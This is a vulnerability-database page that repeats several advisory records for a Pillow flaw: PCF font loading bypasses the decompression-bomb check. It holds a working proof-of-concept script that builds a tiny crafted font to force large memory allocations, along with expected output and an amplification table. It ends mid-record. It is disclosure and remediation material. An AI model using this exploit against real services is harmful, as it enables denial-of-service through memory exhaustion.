Vulnerability-Lookup

BREW-AIDER-CVE-2026-54059 (GHSA-8V84-F9PQ-WR9X)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-09 23:40 – Source website

Summary

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file	Glyph dims	C-heap (mode '1')	Bomb check
148 bytes	14000 × 14000	23 MB (transient)	Bypassed
148 bytes	65535 × 131070	1.07 GB (transient)	Bypassed
~512 MB	65535 × 131070	1.07 GB (persistent)	Bypassed

Impact

Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
Confidentiality: None
Integrity: None
Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/python-pillow/Pillow/security/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-54059	ADVISORY
	https://github.com/python-pillow/Pillow/commit/0a…	WEB
	https://github.com/pypa/advisory-database/tree/ma…	WEB
	https://github.com/python-pillow/Pillow	PACKAGE
	https://github.com/python-pillow/Pillow/blob/main…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pillow",
        "resource_purl": "pkg:pypi/pillow@12.1.1",
        "upstream_fixed_in": "12.3.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "aider",
        "purl": "pkg:brew/aider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pillow@12.1.1",
        "name": "pillow",
        "resource": "pillow",
        "strategy": "registry",
        "subject_version": "12.1.1"
      }
    ]
  },
  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
  "id": "BREW-aider-CVE-2026-54059",
  "modified": "2026-09-09T23:40:56Z",
  "published": "2026-08-13T16:35:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading",
  "upstream": [
    "GHSA-8v84-f9pq-wr9x",
    "BIT-pillow-2026-54059",
    "CVE-2026-54059",
    "PYSEC-2026-2253"
  ]
}

bit-pillow-2026-54059

Vulnerability from bitnami_vulndb

Published

2026-07-08 11:34

Modified

2026-09-08 08:34

Summary

Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Details

Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Bitnami",
        "name": "pillow",
        "purl": "pkg:bitnami/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cpes": [
      "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*"
    ],
    "severity": "High"
  },
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.",
  "id": "BIT-pillow-2026-54059",
  "modified": "2026-09-08T08:34:36.952Z",
  "published": "2026-07-08T11:34:09.383Z",
  "references": [
    {
      "type": "ARTICLE",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
    }
  ],
  "schema_version": "1.6.2",
  "summary": "Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}

CVE-2026-54059 (GCVE-0-2026-54059)

Vulnerability from cvelistv5 – Published: 2026-07-06 18:46 – Updated: 2026-07-07 16:57

Title

Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Summary

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-07 16:44 UTC

CWE

CWE-789 - Memory Allocation with Excessive Size Value

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/commit/0a…	x_refsource_MISC
https://github.com/python-pillow/Pillow/blob/main…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: < 12.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54059",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-07T16:44:18.151665Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-07T16:57:53.021Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 12.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-789",
              "description": "CWE-789: Memory Allocation with Excessive Size Value",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-06T18:47:07.748Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
        }
      ],
      "source": {
        "advisory": "GHSA-8v84-f9pq-wr9x",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54059",
    "datePublished": "2026-07-06T18:46:09.433Z",
    "dateReserved": "2026-06-11T18:24:35.096Z",
    "dateUpdated": "2026-07-07T16:57:53.021Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-8V84-F9PQ-WR9X

Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08

Summary

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Details

Description

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

# PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file	Glyph dims	C-heap (mode '1')	Bomb check
148 bytes	14000 × 14000	23 MB (transient)	Bypassed
148 bytes	65535 × 131070	1.07 GB (transient)	Bypassed
~512 MB	65535 × 131070	1.07 GB (persistent)	Bypassed

Impact

Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
Confidentiality: None
Integrity: None
Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54059"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:08:27Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS \u2014 attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # \u2191 NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = 